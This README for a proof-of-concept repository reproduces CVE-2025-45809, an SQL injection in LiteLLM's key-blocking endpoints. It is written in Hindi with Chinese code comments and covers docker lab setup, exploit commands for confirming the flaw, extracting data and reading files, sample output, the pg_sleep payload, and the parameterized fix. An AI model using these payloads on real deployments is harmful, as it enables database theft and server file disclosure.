
Code to reproduce the vulnerability individually
/key/block (Time-Based Blind SQLi)LiteLLM v1.65.4 (v1.81.0 से पहले के संस्करण) के
/key/blockऔर/key/unblockएंडपॉइंट मेंkeyपैरामीटर में SQL इंजेक्शन भेद्यता है। हमलावर समय-आधारित ब्लाइंड इंजेक्शन तकनीक का उपयोग करके डेटाबेस सामग्री चुरा सकते हैं और सर्वर फ़ाइलें पढ़ सकते हैं।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| प्रभावित | LiteLLM < 1.81.0 (v1.65.4 पर पुष्टि) |
| ठीक किया गया | v1.81.0+ (पैरामीटराइज़्ड क्वेरी फिक्स) |
| प्रकाशित | 2025-07-03 |
| खोजकर्ता | shadia0 (via Huntr bounty) |
| लिंक | NVD • Huntr • Snyk |
LiteLLM के /key/block और /key/unblock एंडपॉइंट API कुंजियों के ब्लॉक/अनब्लॉक प्रबंधन के लिए उपयोग किए जाते हैं।
ये दोनों एंडपॉइंट key पैरामीटर को संसाधित करते समय, उपयोगकर्ता इनपुट को सीधे SQL क्वेरी स्ट्रिंग में जोड़ते हैं (f-string
फ़ॉर्मेटिंग का उपयोग करके), पैरामीटराइज़्ड क्वेरी का उपयोग नहीं करते, जिससे SQL इंजेक्शन भेद्यता होती है।
| एंडपॉइंट | विधि | इंजेक्शन पैरामीटर |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() फ़ंक्शन का उपयोग करके, प्रतिक्रिया समय अंतर से इंजेक्शन की पुष्टि करेंpg_read_file() फ़ंक्शन का उपयोग करके सर्वर फ़ाइलें पढ़ें# 1. PostgreSQL + कमजोर संस्करण LiteLLM प्रारंभ करें
docker compose up -d
# 2. निर्भरताएं स्थापित करें
pip install -r requirements.txt
# 3. SQL इंजेक्शन की पुष्टि करें (pg_sleep विलंब का पता लगाएं)
python3 exploit/exploit.py --mode check --target http://localhost:4000
नोट: पहली बार exploit चलाने पर, यह स्वचालित रूप से
/key/generateको कॉल करके API key बनाएगा, जिससे PrismaKeyडेटाबेस तालिका का निर्माण पूरा करेगा। यह/key/blockएंडपॉइंट के लिए कमजोर SQL क्वेरी पथ में प्रवेश करने की आवश्यक पूर्व शर्त है। यदि यह चरण छोड़ दिया जाता है, तो/key/blockKeyतालिका के आरंभीकरण के अभाव में सीधे 401 लौटाएगा, जिससे इंजेक्शन ट्रिगर नहीं होगा।
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### अपेक्षित आउटपुट
**इंजेक्शन पुष्टि (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**फिक्स संस्करण इंजेक्शन को अस्वीकार करता है:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## तकनीकी विवरण
### भेद्यता कोड
LiteLLM v1.65.4 में, `/key/block` एंडपॉइंट की प्रोसेसिंग लॉजिक लगभग इस प्रकार है (सरलीकृत):
```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
हमलावर key पैरामीटर में PostgreSQL का समय विलंब फ़ंक्शन इंजेक्ट करता है:
' OR (SELECT pg_sleep(5)) IS NULL --
जोड़ने के बाद SQL बन जाता है:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| परीक्षण परिदृश्य | प्रतिक्रिया समय | निष्कर्ष |
|---|---|---|
| सामान्य अनुरोध (key=test) | ~0.01s | आधार रेखा |
| pg_sleep(3) | ~3.01s | इंजेक्शन प्रभावी |
| pg_sleep(5) | ~5.01s | इंजेक्शन पुष्टि |
LiteLLM v1.65.4 डेटाबेस प्रबंधन के लिए Prisma ORM का उपयोग करता है। Key तालिका आलसी निर्माण रणनीति अपनाती है——
पहली बार /key/generate को कॉल करके API key बनाने से पहले, Key तालिका PostgreSQL में मौजूद नहीं होती है।
इसके कारण /key/block एंडपॉइंट की key सत्यापन क्वेरी (WHERE key='{input}') इंजेक्शन-युक्त SQL कोड पथ पर पहुंचने से पहले ही तालिका के अस्तित्व में न होने के कारण 401 लौटाती है।
वर्तमान PoC इस समस्या को स्वचालित रूप से संभालता है: एक्सप्लॉइट स्क्रिप्ट इंजेक्शन पेलोड भेजने से पहले, /key/generate को कॉल करके एक API key बनाती है, जिससे डेटाबेस तालिका तैयार हो जाती है।
नोट: कंटेनर को पहली बार शुरू होने में लगभग 30-60 सेकंड लगते हैं (Prisma CLI स्थापना + डेटाबेस आरंभीकरण), लॉग में
Uvicorn running on http://0.0.0.0:4000दिखाई देने के बाद ही एक्सप्लॉइट चलाएं।
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
v1.81.0 में ठीक किया गया, f-string जोड़ के बजाय पैरामीटराइज़्ड क्वेरी (Prepared Statements) का उपयोग किया गया:
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
key पैरामीटर पर सख्त इनपुट सत्यापन लागू करेंअस्वीकरण: यह सामग्री केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।